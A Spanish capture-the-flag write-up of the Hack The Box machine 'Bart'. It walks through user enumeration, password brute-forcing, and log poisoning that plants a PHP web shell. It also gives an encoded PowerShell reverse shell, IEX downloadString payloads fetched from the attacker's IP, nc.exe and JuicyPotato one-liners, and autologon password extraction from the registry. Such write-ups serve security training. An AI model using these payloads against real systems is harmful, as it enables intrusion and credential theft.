Máquina Bart Hack the Box
12 minute read
Reconocimiento
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #catn nmap
# Nmap 7.91 scan initiated Mon Jun 21 18:02:22 2021 as: nmap -sC -sV -p80 -o nmap 10.129.165.76
Nmap scan report for 10.129.165.76
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jun 21 18:02:35 2021 -- 1 IP address (1 host up) scanned in 13.44 seconds
Vemos que tiene un servicio web y al tratar de consumirlo nos redirige a http://forum.bart.htb/
Así que lo agregamos a nuestro /etc/hosts
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #catn /etc/hosts
127.0.0.1 localhost
127.0.1.1 parrot
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.218.109 forum.bart.htb
Y así vemos una web
Enumeraremos un poco con whatweb para ver si nos da algo que pueda ser interesante y este nos devuelve unos Email y nos dice que es un IIS 10.0
─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #whatweb http://forum.bart.htb/
http://forum.bart.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[d.simmons@bart.htb,h.potter@bart.htb,info@bart.htb,r.hilton@bart.htb,s.brown@bart.loca,s.brown@bart.local], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.218.109], JQuery, MetaGenerator[WordPress 4.8.2], Microsoft-IIS[10.0], PoweredBy[WordPress], Script[text/javascript], Title[BART], WordPress[4.8.2]
Vamos a Enumerar un poco la web para ver con que nos encontramos y vemos posibles Usuarios que habíamos visto con el whatweb
Como vemos que tiene sub dominios vamos a realizar una búsqueda de estos con la herramienta wfuzz y vemos que nos devuelve un estado de 200 con el subdominio monito
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #wfuzz -c --hc=404 --hl=0,6 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "HOST: FUZZ.bart.htb" http://bart.htb/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://bart.htb/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000067: 200 548 L 2412 W 35529 Ch "forum - forum"
000001614: 200 80 L 221 W 3423 Ch "monitor - monitor"
000002385: 200 548 L 2412 W 35529 Ch "Forum - Forum"
000019837: 200 80 L 221 W 3423 Ch "Monitor - Monitor"
000217693: 200 80 L 221 W 3423 Ch "MONITOR - MONITOR"
Total time: 263.3295
Processed Requests: 220560
Filtered Requests: 220555
Requests/sec.: 837.5817
Vemos que los usuarios los está llamando desde un mailto: así que vamos a hacer un grep para que me extraiga todos los usuarios con los que cuenta
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #curl -s http://forum.bart.htb | grep mailto | cut -d " " -f 3 | cut -d "\"" -f 2 | cut -d ":" -f 2 | grep -v "widget" > users.txt
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #catn users.txt
s.brown@bart.local
d.simmons@bart.htb
r.hilton@bart.htb
h.potter@bart.htb
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #
Vamos a realizar un ataque de Fuerza bruta con los Usuarios que tenemos
Vemos que podemos tratar de recuperar contraseña así que vamos a probar si podemos realizar una enumeración de usuarios de esta manera
Completamos un poco más nuestro archivo de usuarios para realizar un ataque de fuerza bruta
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #cat users.txt
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: users.txt
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ s.brown@bart.local
2 │ d.simmons@bart.htb
3 │ r.hilton@bart.htb
4 │ h.potter
5 │ s.brown
6 │ d.simmons
7 │ r.hilton
8 │ h.potter
9 │ Samantha Brown
10 │ SamanthaBrown
11 │ Samantha
12 │ Brown
13 │ Daniel Simmons
14 │ DanielSimmons
15 │ Daniel
16 │ Simmons
17 │ Robert Hilton
18 │ RobertHilton
19 │ Robert
20 │ Hilton
21 │ Harvey Potter
22 │ HarveyPotter
23 │ Harvey
24 │ Potter
25 │ samantha brown
26 │ samanthabrown
27 │ samantha
28 │ brown
29 │ daniel simmons
30 │ danielsimmons
31 │ daniel
32 │ simmons
33 │ robert hilton
34 │ roberthilton
35 │ robert
36 │ hilton
37 │ harvey potter
38 │ harveypotter
39 │ harvey
40 │ potter
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Vemos que con Daniel y con Harvey obtenemos un resultado diferente que con los otros
Realizamos la prueba manuel y vemos que estos usuarios si existen
Ahora vamos a realizar una fuerza Bruta con estos Usuarios
Después de realizar el ataque con Daniel y la lista de Usuarios que tenemos como contraseña no obtuvimos resultados, pero con Harvey si tenemos un resultado con la palabra potter como contraseña
De esta manera logramos acceso y vemos que tiene un link que nos manda a SERVER MONITOR
Nos dirigimos a este link y vemos que nos lleva a una interfaz con un menú que debemos enumerar
Enumerando, nos encontramos con cosas que nos llaman la atención como que en la Url está haciendo una llamada a una variable y nos muestra un nuevo subdominio, así que ponemos este en nuestro /etc/hosts
Después de intentar hacer fuerza bruta a este login, pasamos a Buscar el código fuente de este servicio https://github.com/magkopian/php-ajax-simple-chat/tree/master/simple_chat donde vemos varios archivos, entre ellos uno llamado registrer.php
<?php
/**********************************************\
* Copyright (c) 2013 Manolis Agkopian *
* See the file LICENCE for copying permission. *
\**********************************************/
session_start();
define('INCLUDED',true);
require 'includes/core_func.php';
require 'includes/validation_func.php';
if (user_logged_in()) {
header('Location: ../');
die();
}
$errors = array();
//check if username is provided
if (!isset($_POST['uname']) || empty($_POST['uname'])) {
$errors['uname'] = 'The Username is required';
} else {
//validate username
if (($uname = validate_username($_POST['uname'])) === false) {
$errors['uname'] = 'The Username is invalid';
}
}
//check if password is provided
if (!isset($_POST['passwd']) || empty($_POST['passwd'])) {
$errors['passwd'] = 'The Password is required';
} else {
//validate password
if (($passwd = validate_password($_POST['passwd'])) === false) {
$errors['passwd'] = 'The Password must be at least 8 characters';
}
}
//check if recaptcha is provided
if (!isset($_POST['recaptcha_challenge_field']) || empty($_POST['recaptcha_challenge_field']) ||
!isset($_POST['recaptcha_response_field']) || empty($_POST['recaptcha_response_field'])) {
$errors['recaptcha'] = 'The reCAPTCHA is required';
}
else {
//validate recaptcha
if (validate_recaptcha($_POST['recaptcha_challenge_field'], $_POST['recaptcha_response_field']) === false) {
$errors['recaptcha'] = 'The reCAPTCHA wasn\'t entered correctly.';
}
}
//check for form field errors
if (!empty($errors)) { //if there are any errors
$_SESSION['reg_errors'] = $errors; //set a session variable to pass them to the registration form page
}
else { //if no errors try to register
if (($res = register($uname, $passwd)) === false) { //if database error
$errors['uname'] = 'An error has been occurred'; //we want it to appear above username field
$_SESSION['reg_errors'] = $errors; //set a session variable to pass them to the registration form page
}
else if ($res === -1) { //if user already exists
$errors['uname'] = 'Username already exists'; //we want it to appear above username field
$_SESSION['reg_errors'] = $errors; //set a session variable to pass them to the registration form page
}
else {
if (get_last_page() !== false) {
header('Location: login_form.php?ref=reg'); //after sucessful register goto the login page
die();
}
else {
header('Location: ../'); //you can replace this redirect with one to the chat page of your site if you want
die();
}
}
}
//else redirect to the registration form of the site
header('Location: register_form.php'); //you can replace this redirect with one to the chat page of your site
die();
?>
Aunque no podemos ver este archivo por medio de la web, podríamos tratar de hacerlo por medio de curl
┌─[✗]─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #curl -s -X POST -d "uname=angussmoody&passwd=anguss123" "http://internal-01.bart.htb/simple_chat/register.php" --proxy http://127.0.0.1:8080
Podemos ingresar con el usuario creado
Vemos unos usuarios, pero hasta ahora nada interesante, así que pasamos a ver el código fuente de la página para ver con que nos encontramos
Este nos devuelve un 1, debemos entender un poco lo que está haciendo y tenemos 2 parámetros, donde uno de ellos es el Usuario, pero vemos que cuando ponemos un usuario que no existe nos devuelve un 0
Vemos que pasa si le quitamos la variable del usuario y esto nos manda un error con la ruta del archivo
Ahora vamos a ver que pasa si enviamos solo el archivo y vemos que este nos está devolviendo unos datos
Vamos a realizar unas pruebas consultando de nuevo con las variables y ver que cambios tiene
Y vemos que este nos trae unos datos de las consultas que hemos realizado, nos trae una fecha, hora, El usuario Valido y ademas el User-Agent
Sabiendo esto ahora debemos tratar de Modificar el User-Agent para ver si nos responde con algo diferente, vamos a tratar de envía un código en php
Y vemos que si lo modifica, pero no lo puede interpretar, así que debemos encontrar una manera para que nos interprete el código
Sabemos que podemos tratar de realizar un ataque Log Poinsoning https://www.hackingarticles.in/apache-log-poisoning-through-lfi/ y en este articulo podemos entender un poco de la forma de realizar el ataque, trataremos de modificar el archivo y enviar el mismo código php, vemos que podemos crear el archivo y también que nos envía el User-Agent modificado, pero al ser un archivo .txt no no lo interpreta, así que vamos a ver si podemos crear como un archivo con la extensión .php
Vemos que de esta manera ya nos interpreta el código en php que enviamos
Ahora vamos a tratar de crear una variable para que podamos ir enviando comandos en esta
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #cat ../../Shell/cmd.php
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: ../../Shell/cmd.php
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ <?php system($_GET['cmd'])?>
view-source:http://internal-01.bart.htb/log/test.php?cmd=powershell%20-e%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMQA0ADUAIgAsADQANAAzACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA=
Ponemos esto en nuestra máquina, pero antes debemos poner nuestra máquina a la escucha y así tenemos una Reverse Shell
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.145] from (UNKNOWN) [10.129.220.209] 53517
id
whoami
nt authority\iusr
PS C:\inetpub\wwwroot\internal-01\log>
Ahora que tenemos la Reverse Shell vamos a tratar de escalar privilegios
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
PS C:\users>
Cómo tiene el SeImpersonatePrivilege podríamos intentar escalar con JuicyPotato, pero en este caso vamos a realizar la escalada de otra manera
## elevar privilegios con juicyPotato
- ejecutar comando: whoami /priv y nesecitamos tener SeImpersonatePrivilege
- creamos un bat para que ejecute el comando nc.exe -e cmd.exe 10.10.14.145 4444
- jp.exe -p C:\Windows\Temp\abel\shell.bat -l 1337 -t *
- dejar en escucha con netcat
# otra forma
- .\jp.exe -p C:\Windows\System32\cmd.exe -a '/c C:\Windows\temp\nc.exe -e cmd.exe 10.10.14.75 4444' -l 1337 -t *
Al revisar la arquitectura de la máquina vemos que los procesos no están corriendo en 64 bits
[Environment]::Is64bitOperatingSystem
True
[Environment]::Is64bitProcess
False
Así que debemos migrar para que el proceso corra en 64 bits y Vamos a realizar una reverse shell con Invoke-PowerShellTcp.ps1, para esto necesitamos modificar el archivo y poner en la ultima linea la reverse shell que necesitamos
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.117 -Port 4444
Luego nos creamos un servidor http con python3 en este directorio
┌─[root@parrot]─[/mnt/angussMoody/Scripts/Windows]
└──╼ #python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Y ahora vamos a hacer uso de powershell para decirle a nuestra máquina victima que nos interprete este archivo desde la Ruta del powershell para que nos tome el proceso en 64 bits
PS C:\Windows\Sysnative\WindowsPowerShell\v1.0> powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.117/Invoke-PowerShellTcp.ps1')
Pero antes de ejecutar esto ponemos nuestra máquina a la escucha en el puerto que pusimos en el Invoke-PowerShellTcp.ps1
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #rlwrap nc -nlvp 4444
listening on [any] 4444 ...
┌─[root@parrot]─[/mnt/angussMoody]
└──╼ #curl -s "http://internal-01.bart.htb/log/test.php?cmd=C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe%20IEX(New-Object%20Net.WebClient).downloadString(%27http://10.10.14.117/Invoke-PowerShellTcp.ps1%27)"
Ahora vemos que el Proceso si está bajo 64 bits
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.117] from (UNKNOWN) [10.129.228.109] 52573
Windows PowerShell running as user BART$ on BART
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
[Environment]::Is64bitOperatingSystem
True
[Environment]::Is64bitProcess
True
PS C:\inetpub\wwwroot\internal-01\log>
Como estamos en powershell vamos a ir a la ruta de HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon y buscar con get-itemproperty . contraseñas almacenadas
cd HKLM:
cd "SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
get-itemproperty .
AutoRestartShell : 1
Background : 0 0 0
CachedLogonsCount : 10
DebugServerCommand : no
DefaultDomainName : DESKTOP-7I3S68E
DefaultUserName : Administrator
DisableBackButton : 1
EnableSIHostIntegration : 1
ForceUnlockLogon : 0
LegalNoticeCaption :
LegalNoticeText :
PasswordExpiryWarning : 5
PowerdownAfterShutdown : 0
PreCreateKnownFolders : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk : 1
Shell : explorer.exe
ShellCritical : 0
ShellInfrastructure : sihost.exe
SiHostCritical : 0
SiHostReadyTimeOut : 0
SiHostRestartCountLimit : 0
SiHostRestartTimeGap : 0
Userinit : C:\Windows\system32\userinit.exe,
VMApplet : SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled : 0
scremoveoption : 0
DisableCAD : 1
LastLogOffEndTimePerfCounter : 215729203
ShutdownFlags : 2147484203
AutoAdminLogon : 1
DisableLockWorkstation : 0
EnableFirstLogonAnimation : 1
AutoLogonSID : S-1-5-21-988671444-1802818203-1364644418-500
LastUsedUsername : Administrator
DefaultPassword : 3130438f31186fbaf962f407711faddb
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_M
ACHINE\SOFTWARE\Microsoft\Windows
NT\Currentversion\Winlogon
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_M
ACHINE\SOFTWARE\Microsoft\Windows
NT\Currentversion
PSChildName : Winlogon
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
Como ya tenemos el hash del Usuario administrador, vamos a crear las variables con estos datos, para que podamos ejecutar comandos como este usuario, lo primero que necesitamos es el nombre de la máquina
Ahora debemos crear las variables y configurarlas para la ejecución de los comandos
$username = "BART\Administrator"
$password = "3130438f31186fbaf962f407711faddb"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
y por ultimo vamos a modificar nuestro Invoke-PowerShellTcp.ps1 para que nos ejecute en otro puerto para evitar inconvenientes en este caso le vamos a poner el puerto 4445 y ponemos nuestra máquina a la escucha
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #rlwrap nc -nlvp 4445
Ahora en la máquina victima le damos la orden para que nos ejecute un comando como administrador
Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.14.117/Invoke-PowerShellTcp.ps1') } -Credential $cred -Computer localhost
y ya de esta manera nos devuelve una Reverse Shell como Administrator
┌─[root@parrot]─[/mnt/angussMoody/Machines/Bart]
└──╼ #rlwrap nc -nlvp 4445
listening on [any] 4445 ...
connect to [10.10.14.117] from (UNKNOWN) [10.129.228.109] 54457
Windows PowerShell running as user Administrator on BART
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
whoami
bart\administrator
Hostname
BART
cd ../Desktop
dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/02/2018 12:51 32 root.txt
PS C:\Users\Administrator\Desktop>